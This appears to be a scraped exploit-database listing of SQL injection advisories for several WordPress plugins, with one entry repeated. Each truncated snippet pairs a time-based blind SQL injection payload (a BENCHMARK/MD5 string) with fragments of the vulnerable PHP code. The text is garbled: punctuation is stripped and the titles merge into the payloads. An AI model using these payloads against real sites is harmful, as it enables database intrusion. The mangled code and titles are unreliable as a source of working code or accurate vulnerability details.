WordPress Plugin A to Z Category Listing 1.3 - SQL Injection

Exploit Title: WordPress A to Z Category Listing plugin 1,BENCHMARK5000000,MD5CHAR115,113,108,109,97,112,0--%20 --------------- Vulnerable code --------------- $initletter = $GET'R'; $sql = "select from ".$tableprefix."terms wpt,".$tableprefix."termtaxonomy wptt where wpt.name like...

WordPress Plugin PureHTML 1.0.0 - SQL Injection

WordPress Plugin PureHTML 1.0.0 - SQL Injection Exploit Title: WordPress PureHTML plugin 1,BENCHMARK5000000,MD5CHAR115,113,108,109,97,112,0--%20 --------------- Vulnerable code --------------- if!isset$POST'PureHTMLNOnce' if !wpverifynonce $POST'PureHTMLNOnce', pluginbasenameFILE...

WordPress Plugin Allow PHP in Posts and Pages 2.0.0.RC1 - SQL Injection

WordPress Plugin Allow PHP in Posts and Pages 2.0.0.RC1 - SQL Injection Exploit Title: WordPress Allow PHP in Posts and Pages plugin 1,BENCHMARK5000000,MD5CHAR115,113,108,109,97,112,0 --------------- Vulnerable code --------------- if!isset$POST'allowPHPNonce' if !wpverifynonce...

WordPress Plugin Allow PHP in Posts and Pages 2.0.0.RC1 - SQL Injection

Exploit Title: WordPress Allow PHP in Posts and Pages plugin 1,BENCHMARK5000000,MD5CHAR115,113,108,109,97,112,0 --------------- Vulnerable code --------------- if!isset$POST'allowPHPNonce' if !wpverifynonce $POST'allowPHPNonce', pluginbasenameFILE header"location:".$refer; else...